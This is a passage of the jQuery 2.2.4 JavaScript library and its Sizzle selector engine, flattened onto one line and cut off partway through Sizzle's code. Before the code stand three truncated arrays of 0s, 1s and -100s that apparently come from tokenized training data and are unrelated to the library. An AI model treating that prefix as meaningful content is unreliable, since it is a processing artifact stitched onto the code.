[ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0...
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1...
[ -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100...
/*! * jQuery JavaScript Library v2.2.4 * http://jquery.com/ * * Includes Sizzle.js * http://sizzlejs.com/ * * Copyright jQuery Foundation and other contributors * Released under the MIT license * http://jquery.org/license * * Date: 2016-05-20T17:23Z */ (function( global, factory ) { if ( typeof module === "object" && typeof module.exports === "object" ) { // For CommonJS and CommonJS-like environments where a proper `window` // is present, execute the factory and get jQuery. // For environments that do not have a `window` with a `document` // (such as Node.js), expose a factory as module.exports. // This accentuates the need for the creation of a real `window`. // e.g. var jQuery = require("jquery")(window); // See ticket #14549 for more info. module.exports = global.document ? factory( global, true ) : function( w ) { if ( !w.document ) { throw new Error( "jQuery requires a window with a document" ); } return factory( w ); }; } else { factory( global ); } // Pass this if window is not defined yet }(typeof window !== "undefined" ? window : this, function( window, noGlobal ) { // Support: Firefox 18+ // Can't be in strict mode, several libs including ASP.NET trace // the stack via arguments.caller.callee and Firefox dies if // you try to trace through "use strict" call chains. (#13335) //"use strict"; var arr = []; var document = window.document; var slice = arr.slice; var concat = arr.concat; var push = arr.push; var indexOf = arr.indexOf; var class2type = {}; var toString = class2type.toString; var hasOwn = class2type.hasOwnProperty; var support = {}; var version = "2.2.4", // Define a local copy of jQuery jQuery = function( selector, context ) { // The jQuery object is actually just the init constructor 'enhanced' // Need init if jQuery is called (just allow error to be thrown if not included) return new jQuery.fn.init( selector, context ); }, // Support: Android<4.1 // Make sure we trim BOM and NBSP rtrim = /^[\s\uFEFF\xA0]+|[\s\uFEFF\xA0]+$/g, // Matches dashed string for camelizing rmsPrefix = /^-ms-/, rdashAlpha = /-([\da-z])/gi, // Used by jQuery.camelCase as callback to replace() fcamelCase = function( all, letter ) { return letter.toUpperCase(); }; jQuery.fn = jQuery.prototype = { // The current version of jQuery being used jquery: version, constructor: jQuery, // Start with an empty selector selector: "", // The default length of a jQuery object is 0 length: 0, toArray: function() { return slice.call( this ); }, // Get the Nth element in the matched element set OR // Get the whole matched element set as a clean array get: function( num ) { return num != null ? // Return just the one element from the set ( num < 0 ? this[ num + this.length ] : this[ num ] ) : // Return all the elements in a clean array slice.call( this ); }, // Take an array of elements and push it onto the stack // (returning the new matched element set) pushStack: function( elems ) { // Build a new jQuery matched element set var ret = jQuery.merge( this.constructor(), elems ); // Add the old object onto the stack (as a reference) ret.prevObject = this; ret.context = this.context; // Return the newly-formed element set return ret; }, // Execute a callback for every element in the matched set. each: function( callback ) { return jQuery.each( this, callback ); }, map: function( callback ) { return this.pushStack( jQuery.map( this, function( elem, i ) { return callback.call( elem, i, elem ); } ) ); }, slice: function() { return this.pushStack( slice.apply( this, arguments ) ); }, first: function() { return this.eq( 0 ); }, last: function() { return this.eq( -1 ); }, eq: function( i ) { var len = this.length, j = +i + ( i < 0 ? len : 0 ); return this.pushStack( j >= 0 && j < len ? [ this[ j ] ] : [] ); }, end: function() { return this.prevObject || this.constructor(); }, // For internal use only. // Behaves like an Array's method, not like a jQuery method. push: push, sort: arr.sort, splice: arr.splice }; jQuery.extend = jQuery.fn.extend = function() { var options, name, src, copy, copyIsArray, clone, target = arguments[ 0 ] || {}, i = 1, length = arguments.length, deep = false; // Handle a deep copy situation if ( typeof target === "boolean" ) { deep = target; // Skip the boolean and the target target = arguments[ i ] || {}; i++; } // Handle case when target is a string or something (possible in deep copy) if ( typeof target !== "object" && !jQuery.isFunction( target ) ) { target = {}; } // Extend jQuery itself if only one argument is passed if ( i === length ) { target = this; i--; } for ( ; i < length; i++ ) { // Only deal with non-null/undefined values if ( ( options = arguments[ i ] ) != null ) { // Extend the base object for ( name in options ) { src = target[ name ]; copy = options[ name ]; // Prevent never-ending loop if ( target === copy ) { continue; } // Recurse if we're merging plain objects or arrays if ( deep && copy && ( jQuery.isPlainObject( copy ) || ( copyIsArray = jQuery.isArray( copy ) ) ) ) { if ( copyIsArray ) { copyIsArray = false; clone = src && jQuery.isArray( src ) ? src : []; } else { clone = src && jQuery.isPlainObject( src ) ? src : {}; } // Never move original objects, clone them target[ name ] = jQuery.extend( deep, clone, copy ); // Don't bring in undefined values } else if ( copy !== undefined ) { target[ name ] = copy; } } } } // Return the modified object return target; }; jQuery.extend( { // Unique for each copy of jQuery on the page expando: "jQuery" + ( version + Math.random() ).replace( /\D/g, "" ), // Assume jQuery is ready without the ready module isReady: true, error: function( msg ) { throw new Error( msg ); }, noop: function() {}, isFunction: function( obj ) { return jQuery.type( obj ) === "function"; }, isArray: Array.isArray, isWindow: function( obj ) { return obj != null && obj === obj.window; }, isNumeric: function( obj ) { // parseFloat NaNs numeric-cast false positives (null|true|false|"") // ...but misinterprets leading-number strings, particularly hex literals ("0x...") // subtraction forces infinities to NaN // adding 1 corrects loss of precision from parseFloat (#15100) var realStringObj = obj && obj.toString(); return !jQuery.isArray( obj ) && ( realStringObj - parseFloat( realStringObj ) + 1 ) >= 0; }, isPlainObject: function( obj ) { var key; // Not plain objects: // - Any object or value whose internal [[Class]] property is not "[object Object]" // - DOM nodes // - window if ( jQuery.type( obj ) !== "object" || obj.nodeType || jQuery.isWindow( obj ) ) { return false; } // Not own constructor property must be Object if ( obj.constructor && !hasOwn.call( obj, "constructor" ) && !hasOwn.call( obj.constructor.prototype || {}, "isPrototypeOf" ) ) { return false; } // Own properties are enumerated firstly, so to speed up, // if last one is own, then all properties are own for ( key in obj ) {} return key === undefined || hasOwn.call( obj, key ); }, isEmptyObject: function( obj ) { var name; for ( name in obj ) { return false; } return true; }, type: function( obj ) { if ( obj == null ) { return obj + ""; } // Support: Android<4.0, iOS<6 (functionish RegExp) return typeof obj === "object" || typeof obj === "function" ? class2type[ toString.call( obj ) ] || "object" : typeof obj; }, // Evaluates a script in a globals context globalEval: function( code ) { var script, indirect = eval; code = jQuery.trim( code ); if ( code ) { // If the code includes a valid, prologue position // strict mode pragma, execute code by injecting a // script tag into the document. if ( code.indexOf( "use strict" ) === 1 ) { script = document.createElement( "script" ); script.text = code; document.head.appendChild( script ).parentNode.removeChild( script ); } else { // Otherwise, avoid the DOM node creation, insertion // and removal by using an indirect globals eval indirect( code ); } } }, // Convert dashed to camelCase; used by the css and data modules // Support: IE9-11+ // Microsoft forgot to hump their vendor prefix (#9572) camelCase: function( string ) { return string.replace( rmsPrefix, "ms-" ).replace( rdashAlpha, fcamelCase ); }, nodeName: function( elem, name ) { return elem.nodeName && elem.nodeName.toLowerCase() === name.toLowerCase(); }, each: function( obj, callback ) { var length, i = 0; if ( isArrayLike( obj ) ) { length = obj.length; for ( ; i < length; i++ ) { if ( callback.call( obj[ i ], i, obj[ i ] ) === false ) { break; } } } else { for ( i in obj ) { if ( callback.call( obj[ i ], i, obj[ i ] ) === false ) { break; } } } return obj; }, // Support: Android<4.1 trim: function( text ) { return text == null ? "" : ( text + "" ).replace( rtrim, "" ); }, // results is for internal usage only makeArray: function( arr, results ) { var ret = results || []; if ( arr != null ) { if ( isArrayLike( Object( arr ) ) ) { jQuery.merge( ret, typeof arr === "string" ? [ arr ] : arr ); } else { push.call( ret, arr ); } } return ret; }, inArray: function( elem, arr, i ) { return arr == null ? -1 : indexOf.call( arr, elem, i ); }, merge: function( first, second ) { var len = +second.length, j = 0, i = first.length; for ( ; j < len; j++ ) { first[ i++ ] = second[ j ]; } first.length = i; return first; }, grep: function( elems, callback, invert ) { var callbackInverse, matches = [], i = 0, length = elems.length, callbackExpect = !invert; // Go through the array, only saving the items // that pass the validator function for ( ; i < length; i++ ) { callbackInverse = !callback( elems[ i ], i ); if ( callbackInverse !== callbackExpect ) { matches.push( elems[ i ] ); } } return matches; }, // arg is for internal usage only map: function( elems, callback, arg ) { var length, value, i = 0, ret = []; // Go through the array, translating each of the items to their new values if ( isArrayLike( elems ) ) { length = elems.length; for ( ; i < length; i++ ) { value = callback( elems[ i ], i, arg ); if ( value != null ) { ret.push( value ); } } // Go through every key on the object, } else { for ( i in elems ) { value = callback( elems[ i ], i, arg ); if ( value != null ) { ret.push( value ); } } } // Flatten any nested arrays return concat.apply( [], ret ); }, // A globals GUID counter for objects guid: 1, // Bind a function to a context, optionally partially applying any // arguments. proxy: function( fn, context ) { var tmp, args, proxy; if ( typeof context === "string" ) { tmp = fn[ context ]; context = fn; fn = tmp; } // Quick check to determine if target is callable, in the spec // this throws a TypeError, but we will just return undefined. if ( !jQuery.isFunction( fn ) ) { return undefined; } // Simulated bind args = slice.call( arguments, 2 ); proxy = function() { return fn.apply( context || this, args.concat( slice.call( arguments ) ) ); }; // Set the guid of unique handler to the same of original handler, so it can be removed proxy.guid = fn.guid = fn.guid || jQuery.guid++; return proxy; }, now: Date.now, // jQuery.support is not used in Core but other projects attach their // properties to it so it needs to exist. support: support } ); // JSHint would error on this code due to the Symbol not being defined in ES5. // Defining this globals in .jshintrc would create a danger of using the globals // unguarded in another place, it seems safer to just disable JSHint for these // three lines. /* jshint ignore: start */ if ( typeof Symbol === "function" ) { jQuery.fn[ Symbol.iterator ] = arr[ Symbol.iterator ]; } /* jshint ignore: end */ // Populate the class2type map jQuery.each( "Boolean Number String Function Array Date RegExp Object Error Symbol".split( " " ), function( i, name ) { class2type[ "[object " + name + "]" ] = name.toLowerCase(); } ); function isArrayLike( obj ) { // Support: iOS 8.2 (not reproducible in simulator) // `in` check used to prevent JIT error (gh-2145) // hasOwn isn't used here due to false negatives // regarding Nodelist length in IE var length = !!obj && "length" in obj && obj.length, type = jQuery.type( obj ); if ( type === "function" || jQuery.isWindow( obj ) ) { return false; } return type === "array" || length === 0 || typeof length === "number" && length > 0 && ( length - 1 ) in obj; } var Sizzle = /*! * Sizzle CSS Selector Engine v2.2.1 * http://sizzlejs.com/ * * Copyright jQuery Foundation and other contributors * Released under the MIT license * http://jquery.org/license * * Date: 2015-10-17 */ (function( window ) { var i, support, Expr, getText, isXML, tokenize, compile, select, outermostContext, sortInput, hasDuplicate, // Local document vars setDocument, document, docElem, documentIsHTML, rbuggyQSA, rbuggyMatches, matches, contains, // Instance-specific data expando = "sizzle" + 1 * new Date(), preferredDoc = window.document, dirruns = 0, done = 0, classCache = createCache(), tokenCache = createCache(), compilerCache = createCache(), sortOrder = function( a, b ) { if ( a === b ) { hasDuplicate = true; } return 0; }, // General-purpose constants MAX_NEGATIVE = 1 << 31, // Instance methods hasOwn = ({}).hasOwnProperty, arr = [], pop = arr.pop, push_native = arr.push, push = arr.push, slice = arr.slice, // Use a stripped-down indexOf as it's faster than native // http://jsperf.com/thor-indexof-vs-for/5 indexOf = function( list, elem ) { var i = 0, len = list.length; for ( ; i < len; i++ ) { if ( list[i] === elem ) { return i; } } return -1; }, booleans = "checked|selected|async|autofocus|autoplay|controls|defer|disabled|hidden|ismap|loop|multiple|open|readonly|required|scoped", // Regular expressions // http://www.w3.org/TR/css3-selectors/#whitespace whitespace = "[\\x20\\t\\r\\n\\f]", // http://www.w3.org/TR/CSS21/syndata.html#value-def-identifier identifier = "(?:\\\\.|[\\w-]|[^\\x00-\\xa0])+", // Attribute selectors: http://www.w3.org/TR/selectors/#attribute-selectors attributes = "\\[" + whitespace + "*(" + identifier + ")(?:" + whitespace + // Operator (capture 2) "*([*^$|!~]?=)" + whitespace + // "Attribute values must be CSS identifiers [capture 5] or strings [capture 3 or capture 4]" "*(?:'((?:\\\\.|[^\\\\'])*)'|\"((?:\\\\.|[^\\\\\"])*)\"|(" + identifier + "))|)" + whitespace + "*\\]", pseudos = ":(" + identifier + ")(?:\\((" + // To reduce the number of selectors needing tokenize in the preFilter, prefer arguments: // 1. quoted (capture 3; capture 4 or capture 5) "('((?:\\\\.|[^\\\\'])*)'|\"((?:\\\\.|[^\\\\\"])*)\")|" + // 2. simple (capture 6) "((?:\\\\.|[^\\\\()[\\]]|" + attributes + ")*)|" + // 3. anything else (capture 2) ".*" + ")\\)|)", // Leading and non-escaped trailing whitespace, capturing some non-whitespace characters preceding the latter rwhitespace = new RegExp( whitespace + "+", "g" ), rtrim = new RegExp( "^" + whitespace + "+|((?:^|[^\\\\])(?:\\\\.)*)" + whitespace + "+$", "g" ), rcomma = new RegExp( "^" + whitespace + "*," + whitespace + "*" ), rcombinators = new RegExp( "^" + whitespace + "*([>+~]|" + whitespace + ")" + whitespace + "*" ), rattributeQuotes = new RegExp( "=" + whitespace + "*([^\\]'\"]*?)" + whitespace + "*\\]", "g" ), rpseudo = new RegExp( pseudos ), ridentifier = new RegExp( "^" + identifier + "$" ), matchExpr = { "ID": new RegExp( "^#(" + identifier + ")" ), "CLASS": new RegExp( "^\\.(" + identifier + ")" ), "TAG": new RegExp( "^(" + identifier + "|[*])" ), "ATTR": new RegExp( "^" + attributes ), "PSEUDO": new RegExp( "^" + pseudos ), "CHILD": new RegExp( "^:(only|first|last|nth|nth-last)-(child|of-type)(?:\\(" + whitespace + "*(even|odd|(([+-]|)(\\d*)n|)" + whitespace + "*(?:([+-]|)" + whitespace + "*(\\d+)|))" + whitespace + "*\\)|)", "i" ), "bool": new RegExp( "^(?:" + booleans + ")$", "i" ), // For use in libraries implementing .is() // We use this for POS matching in `select` "needsContext": new RegExp( "^" + whitespace + "*[>+~]|:(even|odd|eq|gt|lt|nth|first|last)(?:\\(" + whitespace + "*((?:-\\d)?\\d*)" + whitespace + "*\\)|)(?=[^-]|$)", "i" ) }, rinputs = /^(?:input|select|textarea|button)$/i, rheader = /^h\d$/i, rnative = /^[^{]+\{\s*\[native \w/, // Easily-parseable/retrievable ID or TAG or CLASS selectors rquickExpr = /^(?:#([\w-]+)|(\w+)|\.([\w-]+))$/, rsibling = /[+~]/, rescape = /'|\\/g, // CSS escapes http://www.w3.org/TR/CSS21/syndata.html#escaped-characters runescape = new RegExp( "\\\\([\\da-f]{1,6}" + whitespace + "?|(" + whitespace + ")|.)", "ig" ), funescape = function( _, escaped, escapedWhitespace ) { var high = "0x" + escaped - 0x10000; // NaN means non-codepoint // Support: Firefox<24 // Workaround erroneous numeric interpretation of +"0x" return high !== high || escapedWhitespace ? escaped : high < 0 ? // BMP codepoint String.fromCharCode( high + 0x10000 ) : // Supplemental Plane codepoint (surrogate pair) String.fromCharCode( high >> 10 | 0xD800, high & 0x3FF | 0xDC00 ); }, // Used for iframes // See setDocument() // Removing the function wrapper causes a "Permission Denied" // error in IE unloadHandler = function() { setDocument(); }; // Optimize for push.apply( _, NodeList ) try { push.apply( (arr = slice.call( preferredDoc.childNodes )), preferredDoc.childNodes ); // Support: Android<4.0 // Detect silently failing push.apply arr[ preferredDoc.childNodes.length ].nodeType; } catch ( e ) { push = { apply: arr.length ? // Leverage slice if possible function( target, els ) { push_native.apply( target, slice.call(els) ); } : // Support: IE<9 // Otherwise append directly function( target, els ) { var j = target.length, i = 0; // Can't trust NodeList.length while ( (target[j++] = els[i++]) ) {} target.length = j - 1; } }; } function Sizzle( selector, context, results, seed ) { var m, i, elem, nid, nidselect, match, groups, newSelector, newContext = context && context.ownerDocument, // nodeType defaults to 9, since context defaults to document nodeType = context ? context.nodeType : 9; results = results || []; // Return early from calls with invalid selector or context if ( typeof selector !== "string" || !selector || nodeType !== 1 && nodeType !== 9 && nodeType !== 11 ) { return results; } // Try to shortcut find operations (as opposed to filters) in HTML documents if ( !seed ) { if ( ( context ? context.ownerDocument || context : preferredDoc ) !== document ) { setDocument( context ); } context = context || document; if ( documentIsHTML ) { // If the selector is sufficiently simple, try using a "get*By*" DOM method // (excepting DocumentFragment context, where the methods don't exist) if ( nodeType !== 11 && (match = rquickExpr.exec( selector )) ) { // ID selector if ( (m = match[1]) ) { // Document context if ( nodeType === 9 ) { if ( (elem = context.getElementById( m )) ) { // Support: IE, Opera, Webkit // TODO: identify versions // getElementById can match elements by name instead of ID if ( elem.id === m ) { results.push( elem ); return results; } } else { return results; } // Element context } else { // Support: IE, Opera, Webkit // TODO: identify versions // getElementById can match elements by name instead of ID if ( newContext && (elem = newContext.getElementById( m )) && contains( context, elem ) && elem.id === m ) { results.push( elem ); return results; } } // Type selector } else if ( match[2] ) { push.apply( results, context.getElementsByTagName( selector ) ); return results; // Class selector } else if ( (m = match[3]) && support.getElementsByClassName && context.getElementsByClassName ) { push.apply( results, context.getElementsByClassName( m ) ); return results; } } // Take advantage of querySelectorAll if ( support.qsa && !compilerCache[ selector + " " ] && (!rbuggyQSA || !rbuggyQSA.test( selector )) ) { if ( nodeType !== 1 ) { newContext = context; newSelector = selector; // qSA looks outside Element context, which is not what we want // Thanks to Andrew Dupont for this workaround technique // Support: IE <=8 // Exclude object elements } else if ( context.nodeName.toLowerCase() !== "object" ) { // Capture the context ID, setting it first if necessary if ( (nid = context.getAttribute( "id" )) ) { nid = nid.replace( rescape, "\\$&" ); } else { context.setAttribute( "id", (nid = expando) ); } // Prefix every selector in the list groups = tokenize( selector ); i = groups.length; nidselect = ridentifier.test( nid ) ? "#" + nid : "[id='" + nid + "']"; while ( i-- ) { groups[i] = nidselect + " " + toSelector( groups[i] ); } newSelector = groups.join( "," ); // Expand context for sibling selectors newContext = rsibling.test( selector ) && testContext( context.parentNode ) || context; } if ( newSelector ) { try { push.apply( results, newContext.querySelectorAll( newSelector ) ); return results; } catch ( qsaError ) { } finally { if ( nid === expando ) { context.removeAttribute( "id" ); } } } } } } // All others return select( selector.replace( rtrim, "$1" ), context, results, seed ); } /** * Create key-value caches of limited size * @returns {function(string, object)} Returns the Object data after storing it on itself with * property name the (space-suffixed) string and (if the cache is larger than Expr.cacheLength) * deleting the oldest entry */ function createCache() { var keys = []; function cache( key, value ) { // Use (key + " ") to avoid collision with native prototype properties (see Issue #157) if ( keys.push( key + " " ) > Expr.cacheLength ) { // Only keep the most recent entries delete cache[ keys.shift() ]; } return (cache[ key + " " ] = value); } return cache; } /** * Mark a function for special use by Sizzle * @param {Function} fn The function to mark */ function markFunction( fn ) { fn[ expando ] = true; return fn; } /** * Support testing using an element * @param {Function} fn Passed the created div and expects a boolean result */ function assert( fn ) { var div = document.createElement("div"); try { return !!fn( div ); } catch (e) { return false; } finally { // Remove from its parent by default if ( div.parentNode ) { div.parentNode.removeChild( div ); } // release memory in IE div = null; } } /** * Adds the same handler for all of the specified attrs * @param {String} attrs Pipe-separated list of attributes * @param {Function} handler The method that will be applied */ function addHandle( attrs, handler ) { var arr = attrs.split("|"), i = arr.length; while ( i-- ) { Expr.attrHandle[ arr[i] ] = handler; } } /** * Checks document order of two siblings * @param {Element} a * @param {Element} b * @returns {Number} Returns less than 0 if a precedes b, greater than 0 if a follows b */ function siblingCheck( a, b ) { var cur = b && a, diff = cur && a.nodeType === 1 && b.nodeType === 1 && ( ~b.sourceIndex || MAX_NEGATIVE ) - ( ~a.sourceIndex || MAX_NEGATIVE ); // Use IE sourceIndex if available on both nodes if ( diff ) { return diff; } // Check if b follows a if ( cur ) { while ( (cur = cur.nextSibling) ) { if ( cur === b ) { return -1; } } } return a ? 1 : -1; } /** * Returns a function to use in pseudos for input types * @param {String} type */ function createInputPseudo( type ) { return function( elem ) { var name = elem.nodeName.toLowerCase(); return name === "input" && elem.type === type; }; } /** * Returns a function to use in pseudos for buttons * @param {String} type */ function createButtonPseudo( type ) { return function( elem ) { var name = elem.nodeName.toLowerCase(); return (name === "input" || name === "button") && elem.type === type; }; } /** * Returns a function to use in pseudos for positionals * @param {Function} fn */ function createPositionalPseudo( fn ) { return markFunction(function( argument ) { argument = +argument; return markFunction(function( seed, matches ) { var j, matchIndexes = fn( [], seed.length, argument ), i = matchIndexes.length; // Match elements found at the specified indexes while ( i-- ) { if ( seed[ (j = matchIndexes[i]) ] ) { seed[j] = !(matches[j] = seed[j]); } } }); }); } /** * Checks a node for validity as a Sizzle context * @param {Element|Object=} context * @returns {Element|Object|Boolean} The input node if acceptable, otherwise a falsy value */ function testContext( context ) { return context && typeof context.getElementsByTagName !== "undefined" && context; } // Expose support vars for convenience support = Sizzle.support = {}; /** * Detects XML nodes * @param {Element|Object} elem An element or a document * @returns {Boolean} True iff elem is a non-HTML XML node */ isXML = Sizzle.isXML = function( elem ) { // documentElement is verified for cases where it doesn't yet exist // (such as loading iframes in IE - #4833) var documentElement = elem && (elem.ownerDocument || elem).documentElement; return documentElement ? documentElement.nodeName !== "HTML" : false; }; /** * Sets document-related variables once based on the current document * @param {Element|Object} [doc] An element or document object to use to set the document * @returns {Object} Returns the current document */ setDocument = Sizzle.setDocument = function( node ) { var hasCompare, parent, doc = node ? node.ownerDocument || node : preferredDoc; // Return early if doc is invalid or already selected if ( doc === document || doc.nodeType !== 9 || !doc.documentElement ) { return document; } // Update globals variables document = doc; docElem = document.documentElement; documentIsHTML = !isXML( document ); // Support: IE 9-11, Edge // Accessing iframe documents after unload throws "permission denied" errors (jQuery #13936) if ( (parent = document.defaultView) && parent.top !== parent ) { // Support: IE 11 if ( parent.addEventListener ) { parent.addEventListener( "unload", unloadHandler, false ); // Support: IE 9 - 10 only } else if ( parent.attachEvent ) { parent.attachEvent( "onunload", unloadHandler ); } } /* Attributes ---------------------------------------------------------------------- */ // Support: IE<8 // Verify that getAttribute really returns attributes and not properties // (excepting IE8 booleans) support.attributes = assert(function( div ) { div.className = "i"; return !div.getAttribute("className"); }); /* getElement(s)By* ---------------------------------------------------------------------- */ // Check if getElementsByTagName("*") returns only elements support.getElementsByTagName = assert(function( div ) { div.appendChild( document.createComment("") ); return !div.getElementsByTagName("*").length; }); // Support: IE<9 support.getElementsByClassName = rnative.test( document.getElementsByClassName ); // Support: IE<10 // Check if getElementById returns elements by name // The broken getElementById methods don't pick up programatically-set names, // so use a roundabout getElementsByName test support.getById = assert(function( div ) { docElem.appendChild( div ).id = expando; return !document.getElementsByName || !document.getElementsByName( expando ).length; }); // ID find and filter if ( support.getById ) { Expr.find["ID"] = function( id, context ) { if ( typeof context.getElementById !== "undefined" && documentIsHTML ) { var m = context.getElementById( id ); return m ? [ m ] : []; } }; Expr.filter["ID"] = function( id ) { var attrId = id.replace( runescape, funescape ); return function( elem ) { return elem.getAttribute("id") === attrId; }; }; } else { // Support: IE6/7 // getElementById is not reliable as a find shortcut delete Expr.find["ID"]; Expr.filter["ID"] = function( id ) { var attrId = id.replace( runescape, funescape ); return function( elem ) { var node = typeof elem.getAttributeNode !== "undefined" && elem.getAttributeNode("id"); return node && node.value === attrId; }; }; } // Tag Expr.find["TAG"] = support.getElementsByTagName ? function( tag, context ) { if ( typeof context.getElementsByTagName !== "undefined" ) { return context.getElementsByTagName( tag ); // DocumentFragment nodes don't have gEBTN } else if ( support.qsa ) { return context.querySelectorAll( tag ); } } : function( tag, context ) { var elem, tmp = [], i = 0, // By happy coincidence, a (broken) gEBTN appears on DocumentFragment nodes too results = context.getElementsByTagName( tag ); // Filter out possible comments if ( tag === "*" ) { while ( (elem = results[i++]) ) { if ( elem.nodeType === 1 ) { tmp.push( elem ); } } return tmp; } return results; }; // Class Expr.find["CLASS"] = support.getElementsByClassName && function( className, context ) { if ( typeof context.getElementsByClassName !== "undefined" && documentIsHTML ) { return context.getElementsByClassName( className ); } }; /* QSA/matchesSelector ---------------------------------------------------------------------- */ // QSA and matchesSelector support // matchesSelector(:active) reports false when true (IE9/Opera 11.5) rbuggyMatches = []; // qSa(:focus) reports false when true (Chrome 21) // We allow this because of a bug in IE8/9 that throws an error // whenever `document.activeElement` is accessed on an iframe // So, we allow :focus to pass through QSA all the time to avoid the IE error // See http://bugs.jquery.com/ticket/13378 rbuggyQSA = []; if ( (support.qsa = rnative.test( document.querySelectorAll )) ) { // Build QSA regex // Regex strategy adopted from Diego Perini assert(function( div ) { // Select is set to empty string on purpose // This is to test IE's treatment of not explicitly // setting a boolean content attribute, // since its presence should be enough // http://bugs.jquery.com/ticket/12359 docElem.appendChild( div ).innerHTML = "<a id='" + expando + "'></a>" + "<select id='" + expando + "-\r\\' msallowcapture=''>" + "<option selected=''></option></select>"; // Support: IE8, Opera 11-12.16 // Nothing should be selected when empty strings follow ^= or $= or *= // The test attribute must be unknown in Opera but "safe" for WinRT // http://msdn.microsoft.com/en-us/library/ie/hh465388.aspx#attribute_section if ( div.querySelectorAll("[msallowcapture^='']").length ) { rbuggyQSA.push( "[*^$]=" + whitespace + "*(?:''|\"\")" ); } // Support: IE8 // Boolean attributes and "value" are not treated correctly if ( !div.querySelectorAll("[selected]").length ) { rbuggyQSA.push( "\\[" + whitespace + "*(?:value|" + booleans + ")" ); } // Support: Chrome<29, Android<4.4, Safari<7.0+, iOS<7.0+, PhantomJS<1.9.8+ if ( !div.querySelectorAll( "[id~=" + expando + "-]" ).length ) { rbuggyQSA.push("~="); } // Webkit/Opera - :checked should return selected option elements // http://www.w3.org/TR/2011/REC-css3-selectors-20110929/#checked // IE8 throws error here and will not see later tests if ( !div.querySelectorAll(":checked").length ) { rbuggyQSA.push(":checked"); } // Support: Safari 8+, iOS 8+ // https://bugs.webkit.org/show_bug.cgi?id=136851 // In-page `selector#id sibing-combinator selector` fails if ( !div.querySelectorAll( "a#" + expando + "+*" ).length ) { rbuggyQSA.push(".#.+[+~]"); } }); assert(function( div ) { // Support: Windows 8 Native Apps // The type and name attributes are restricted during .innerHTML assignment var input = document.createElement("input"); input.setAttribute( "type", "hidden" ); div.appendChild( input ).setAttribute( "name", "D" ); // Support: IE8 // Enforce case-sensitivity of name attribute if ( div.querySelectorAll("[name=d]").length ) { rbuggyQSA.push( "name" + whitespace + "*[*^$|!~]?=" ); } // FF 3.5 - :enabled/:disabled and hidden elements (hidden elements are still enabled) // IE8 throws error here and will not see later tests if ( !div.querySelectorAll(":enabled").length ) { rbuggyQSA.push( ":enabled", ":disabled" ); } // Opera 10-11 does not throw on post-comma invalid pseudos div.querySelectorAll("*,:x"); rbuggyQSA.push(",.*:"); }); } if ( (support.matchesSelector = rnative.test( (matches = docElem.matches || docElem.webkitMatchesSelector || docElem.mozMatchesSelector || docElem.oMatchesSelector || docElem.msMatchesSelector) )) ) { assert(function( div ) { // Check to see if it's possible to do matchesSelector // on a disconnected node (IE 9) support.disconnectedMatch = matches.call( div, "div" ); // This should fail with an exception // Gecko does not error, returns false instead matches.call( div, "[s!='']:x" ); rbuggyMatches.push( "!=", pseudos ); }); } rbuggyQSA = rbuggyQSA.length && new RegExp( rbuggyQSA.join("|") ); rbuggyMatches = rbuggyMatches.length && new RegExp( rbuggyMatches.join("|") ); /* Contains ---------------------------------------------------------------------- */ hasCompare = rnative.test( docElem.compareDocumentPosition ); // Element contains another // Purposefully self-exclusive // As in, an element does not contain itself contains = hasCompare || rnative.test( docElem.contains ) ? function( a, b ) { var adown = a.nodeType === 9 ? a.documentElement : a, bup = b && b.parentNode; return a === bup || !!( bup && bup.nodeType === 1 && ( adown.contains ? adown.contains( bup ) : a.compareDocumentPosition && a.compareDocumentPosition( bup ) & 16 )); } : function( a, b ) { if ( b ) { while ( (b = b.parentNode) ) { if ( b === a ) { return true; } } } return false; }; /* Sorting ---------------------------------------------------------------------- */ // Document order sorting sortOrder = hasCompare ? function( a, b ) { // Flag for duplicate removal if ( a === b ) { hasDuplicate = true; return 0; } // Sort on method existence if only one input has compareDocumentPosition var compare = !a.compareDocumentPosition - !b.compareDocumentPosition; if ( compare ) { return compare; } // Calculate position if both inputs belong to the same document compare = ( a.ownerDocument || a ) === ( b.ownerDocument || b ) ? a.compareDocumentPosition( b ) : // Otherwise we know they are disconnected 1; // Disconnected nodes if ( compare & 1 || (!support.sortDetached && b.compareDocumentPosition( a ) === compare) ) { // Choose the first element that is related to our preferred document if ( a === document || a.ownerDocument === preferredDoc && contains(preferredDoc, a) ) { return -1; } if ( b === document || b.ownerDocument === preferredDoc && contains(preferredDoc, b) ) { return 1; } // Maintain original order return sortInput ? ( indexOf( sortInput, a ) - indexOf( sortInput, b ) ) : 0; } return compare & 4 ? -1 : 1; } : function( a, b ) { // Exit early if the nodes are identical if ( a === b ) { hasDuplicate = true; return 0; } var cur, i = 0, aup = a.parentNode, bup = b.parentNode, ap = [ a ], bp = [ b ]; // Parentless nodes are either documents or disconnected if ( !aup || !bup ) { return a === document ? -1 : b === document ? 1 : aup ? -1 : bup ? 1 : sortInput ? ( indexOf( sortInput, a ) - indexOf( sortInput, b ) ) : 0; // If the nodes are siblings, we can do a quick check } else if ( aup === bup ) { return siblingCheck( a, b ); } // Otherwise we need full lists of their ancestors for comparison cur = a; while ( (cur = cur.parentNode) ) { ap.unshift( cur ); } cur = b; while ( (cur = cur.parentNode) ) { bp.unshift( cur ); } // Walk down the tree looking for a discrepancy while ( ap[i] === bp[i] ) { i++; } return i ? // Do a sibling check if the nodes have a common ancestor siblingCheck( ap[i], bp[i] ) : // Otherwise nodes in our document sort first ap[i] === preferredDoc ? -1 : bp[i] === preferredDoc ? 1 : 0; }; return document; }; Sizzle.matches = function( expr, elements ) { return Sizzle( expr, null, null, elements ); }; Sizzle.matchesSelector = function( elem, expr ) { // Set document vars if needed if ( ( elem.ownerDocument || elem ) !== document ) { setDocument( elem ); } // 